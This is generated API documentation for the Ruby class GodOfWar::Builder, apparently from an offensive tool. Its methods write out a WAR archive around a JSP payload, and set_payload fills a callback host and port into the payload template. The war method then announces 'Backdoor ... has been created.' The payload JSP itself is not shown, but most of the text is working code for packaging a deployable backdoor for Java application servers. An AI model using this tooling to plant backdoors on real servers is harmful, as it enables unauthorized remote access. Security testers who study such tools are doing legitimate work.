Class: GodOfWar::Builder
- Inherits:
-
Object
- Object
- GodOfWar::Builder
- Defined in:
- lib/godofwar/builder.rb
Overview
Builder module responsible for building base files around GodOfWar ├── cmd_get.jsp ├── META-INF │ └── MANIFEST.MF │ Manifest-Version: 1.0 │ Created-By: 1.6.0_10 (Sun Microsystems Inc.) └── WEB-INF
└── web.xml
Instance Attribute Summary collapse
-
#output ⇒ Object
Returns the value of attribute output.
Instance Method Summary collapse
- #directory_structure ⇒ Object
-
#initialize(payload) {|_self| ... } ⇒ Builder
constructor
A new instance of Builder.
-
#manifest_mf ⇒ String
web_xml builds ‘MANIFEST.MF’ file for a given jsp file.
- #set_payload(host, port) ⇒ Object
-
#war ⇒ Object
build_war build the WAR file by recursively the source directory content then zip it.
-
#web_xml ⇒ String
WEB-INF.
Constructor Details
#initialize(payload) {|_self| ... } ⇒ Builder
Returns a new instance of Builder.
18 19 20 21 22 |
# File 'lib/godofwar/builder.rb', line 18 def initialize(payload) @output = nil @payload = payload yield self end |
Instance Attribute Details
#output ⇒ Object
Returns the value of attribute output.
16 17 18 |
# File 'lib/godofwar/builder.rb', line 16 def output @output end |
Instance Method Details
#directory_structure ⇒ Object
24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
# File 'lib/godofwar/builder.rb', line 24 def directory_structure if @output @war_dir = @output else @war_dir = @payload.name @output = @payload.name end @output = @output? @output : @payload.name rename_if_exists("#{@war_dir}.war") puts "Creating Directory Structure:".tell FileUtils.mkdir_p(File.join(@war_dir, 'WEB-INF')) FileUtils.mkdir_p(File.join(@war_dir, 'META-INF')) puts "#{@war_dir}".step_success puts File.join(@war_dir, 'WEB-INF').step_success puts File.join(@war_dir, 'META-INF').step_success end |
#manifest_mf ⇒ String
web_xml builds ‘MANIFEST.MF’ file for a given jsp file
72 73 74 75 76 77 78 79 80 81 82 |
# File 'lib/godofwar/builder.rb', line 72 def manifest_mf manifest_mf_path = File.join(@war_dir, 'META-INF', 'MANIFEST.MF') manifest_mf = <<~MANIFEST Manifest-Version: 1.0 Created-By: 1.6.0_10 (Sun Microsystems Inc.) MANIFEST File.write(manifest_mf_path, manifest_mf) puts "#{manifest_mf_path}".step_success end |
#set_payload(host, port) ⇒ Object
84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 |
# File 'lib/godofwar/builder.rb', line 84 def set_payload(host, port) puts "Setting up payload:".tell payload_file = File.join(@payload.path, "#{@payload.name}.jsp") if @payload.conf.empty? payload_raw = File.read(payload_file) else host = host.nil? ? @payload.conf["host"] : host port = port.nil? ? @payload.conf["port"] : port payload_raw = File.read(payload_file) .sub('HOSTHOST', "#{host}") .sub('PORTPORT', "#{port}") end puts "#{@payload.name}.jsp ⟿ #{@output}.jsp".step_success File.write(File.join(@output, "#{@output}.jsp"), payload_raw) puts "#{File.join(@war_dir, @output)}.jsp".step_success end |
#war ⇒ Object
build_war build the WAR file by recursively the source directory content then zip it
104 105 106 107 108 109 110 111 112 113 114 |
# File 'lib/godofwar/builder.rb', line 104 def war final_war = "#{@output}.war" Zip::File.open(final_war, Zip::File::CREATE) do |zip| Dir.glob("#{@war_dir}/**/*" ).each do |file| zip.add(file.sub(@output, '').sub(/[\/|\\]/, ''), file) end end puts "Cleaning up".tell FileUtils.rm_rf(@war_dir) puts "Backdoor ".done + "#{@output}.war".bold + " has been created." end |
#web_xml ⇒ String
WEB-INF
web_xml builds ‘web.xml’ file for a given jsp file
48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
# File 'lib/godofwar/builder.rb', line 48 def web_xml web_xml_path = File.join(@war_dir, 'WEB-INF', 'web.xml') web_xml = <<~WEBXML <?xml version="1.0" ?> <web-app xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" version="2.4"> <servlet> <servlet-name>#{@output.capitalize}</servlet-name> <jsp-file>/#{@output}.jsp</jsp-file> </servlet> </web-app> WEBXML File.write(web_xml_path, web_xml) puts "#{web_xml_path}".step_success end |